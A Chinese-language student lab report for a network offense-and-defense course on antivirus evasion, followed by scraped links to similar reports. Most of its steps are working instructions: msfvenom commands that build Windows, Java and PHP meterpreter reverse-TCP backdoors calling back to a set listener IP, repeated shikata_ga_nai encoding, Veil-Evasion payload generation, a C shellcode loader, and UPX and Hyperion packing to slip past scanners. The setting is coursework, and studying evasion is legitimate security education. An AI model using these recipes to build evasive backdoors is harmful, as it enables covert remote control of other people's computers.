Exp3 免杀原理与实践

一、实验内容

1. 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

2. 通过组合应用各种技术实现恶意代码免杀

3. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、基础问题回答

1.杀软是如何检测出恶意代码的?

基于特征码的检测:通过对病毒库中已有记录的恶意代码截取其中一小段代码对程序进行检测,发现相同就认定为恶意代码。

启发式恶意软件检测:就是根据恶意代码的常见特征去推断。通常是因为缺乏精确判定依据。

基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,确定恶意代码共同的比较特殊的行为,监视程序的运行,如果发现程序出现这些特殊行为,就会认为其是恶意软件。

2.免杀是做什么?

使用各种技术手段对恶意软件进行处理,使它不会被杀毒软件检测到。

3.问:免杀的基本方法有哪些?

  • (1)改变特征码

只有EXE——加壳(压缩壳 加密壳)

有shellcode(像Meterpreter)——利用encode进行编码

有源代码——用其他语言进行重写再编译

  • (2)改变行为

    • 改变通讯方式、改变操作模式、使用非常规方法

三、实验步骤

任务一 正确使用免杀工具或技巧

1. 正确使用msf编码器,生成exe文件

  • 在实验二中使用msf生成了后门程序,使用Virscan对生成的后门程序进行扫描。

  • 在使用Virscan网站时,可能会出现文件名出现违法字,这时只需将文件名修改一下即可。
  • 改命过后Virscan网站的扫描结果如下:

2、一次编码使用命令:

  msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.115 LPORT=4303 -f exe > met-encoded.exe

  (-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符)

3、七次编码使用命令:-i设置迭代次数

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b ‘\x00’ LHOST=192.168.1.115 LPORT=4303 -f exe > met-encoded7.exe

将编码七次后的可执行文件上传到VirusTotal扫描后结果如下:

2. msfvenom生成jar文件和php文件

  • 生成java后门程序使用命令:
    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.115 LPORT=4303 x> 4303.jar
  • 生成PHP后门程序使用命令:
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.115 LPORT=4303 x> 4303.php
  • 生成文件如下所示:

  • 扫描结果如下:

3. 使用veil-evasion生成后门程序及检测

       安装veil

  • 如果镜像是2018的话,在安装之前可以先执行下面的指令,如果不是可以直接下载安装。
   mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
  • sudo apt-get install veil-evasion命令安装Veil

  • veil命令打开veil,输入y继续安装直至完成

  • 成功的话,输入veil命令,会出现下面这个界面

  • use evasion命令进入Evil-Evasion

  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面

  • 设置反弹连接IP,命令为:set LHOST 192.168.1.115

  • 设置端口,命令为:set LPORT 4303

  • 输入generate生成文件,接着输入你想要playload的名字:veil_4303
  • 如上图所示,保存路径为/var/lib/veil/output/compiled/veil_4303.exe

5. 半手工注入Shellcode并执行

  • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=4303 -f c用c语言生成一段shellcode;

  • 创建一个文件20164303.c,然后将unsigned char buf[]赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main()
{
int (*func)() = (int(*)())buf;
func();
}
  • 使用命令:i686-w64-mingw32-g++ 20164303.c -o 20164303.exe编译这个.c文件为可执行文件;

  • 检测结果如下图:

6.对文件进行加壳

  • 使用压缩壳(UPX)

    • 给之前的20164303.exe加个壳得到4303_upxed.exe:

    • 使用命令 upx 20164303.exe -o 4303_upxed.exe

  • 加密壳Hyperion

    • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
    • 进入目录/usr/share/windows-binaries/hyperion/
    • 输入命令wine hyperion.exe -v 4303_upxed.exe 4303_upxed_Hyperion.exe进行加壳:
    • 检测结果如下图

任务二:通过组合应用各种技术实现恶意代码免杀

生成的php文件在检测中只有一个杀毒软件报毒,同时windows10的病毒和威胁防护也没有反应,很神奇。

其他方式生成的文件会被windows10自带的病毒和威胁防护功能杀掉,病毒检测也会报毒。

任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

本来想再创建一个win7虚拟机来进行实验,然而一打开两个虚拟机,系统就崩了。呃,所以实验还没有开始就结束了。

四、实验总结与体会

这次实验出现问题很多,最头痛的是veil的安装,尝试了多种方法,呃,没有什么用。最后还是屈服了,找成功下到veil的同学拷贝了。我深切地体会到想要成功的黑掉别人的电脑也不是容易的事情,毕竟我自己黑自己都成功不了。但我也体会到网络攻防技术的魅力,并不是控制别人的电脑所带来的快感,而是费尽心血后成功的喜悦。虽然我没有成功,而且过程让我有点痛苦,但是我还是通过实验加深了对课堂所学知识的理解,也算有些收获。

Exp3 免杀原理与实践 20164303 景圣的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. IntelliJ IDEA 2017.2.6 x64 配置 tomcat 启动 maven 项目

    IntelliJ IDEA 2017.2.6 x64 配置 tomcat 启动 maven 项目 1.确认 IDEA 是否启用了 tomcat 插件 2.添加 tomcat 选择 tomcat 存放路 ...

  2. 如何使用mybatis插入数据之前就具生成id值

    SelectKey在Mybatis中是为了解决Insert数据时不支持主键自动生成的问题,该功能可以很随意的设置生成主键的方式. 不管SelectKey有多好,尽量不要遇到这种情况吧,毕竟很麻烦. k ...

  3. day24:继承

    1,复习1 # 面向对象编程 # 思想:角色的抽象,创建类,创建角色(实例化),操作这些示例 # 面向对象的关键字 class 类名: 静态属性 = 'aaa' def __init__(self): ...

  4. bbs论坛流程

    1.发表帖子时候操作 数据库: board+板块号 :readertopicsX中插入数据 boardtmp(临时表插入审核数据) countandmax(记录每个板块最大主贴ID) 一. Redis ...

  5. p12文件和mobileprovision文件

    http://www.cnblogs.com/YouXianMing/p/3848188.html https://www.jianshu.com/p/73c430f468e8 https://blo ...

  6. wpf 获取Image的图片并保存到本地

    XMAL代码如下: <Image Name="ImageToSave" Source="Images/pic_bg.png" Grid.RowSpan=& ...

  7. gdb常用的指令

    推荐一篇详细的gdb文章:http://witmax.cn/gdb-usage.html 1. 常用的gdb 命令 编译程序时需要加上-g,之后才能用gdb进行调试:gcc -g main.c -o ...

  8. 在visual studio code 中配置python以及解决中文乱码问题

    安装好 visual stuido code (下面简称 “ VSC ”)后,要想使用它运行调试 python 代码还需要做一些工作以解决下列问题: 搭建 python 环境 print 打印中文出现 ...

  9. UML作业第一次:UML用例图绘制

    UML第一次作业 一. 用例图:用例图(usecase diagram)是UML用于描述软件功能的图形.用例图包括用例.参与者及其关系,用例图也可以包括注释和约束.程序员要画时序图啥的用其他的比较麻烦 ...

  10. 客户端不能连接MySQL - 2003-Can't connect to MySQL server on '192.168.43.180'(10060 "Unknown error")

    客户端不能连接MySQL 场景: 数据库(此处以MySQL为例)安装在虚拟机里面,在宿主机上进行连接数据库的时候始终不能连接,但在虚拟机中使用正常. 针对上面的场景: 1. 在虚拟机里面可以正常使用M ...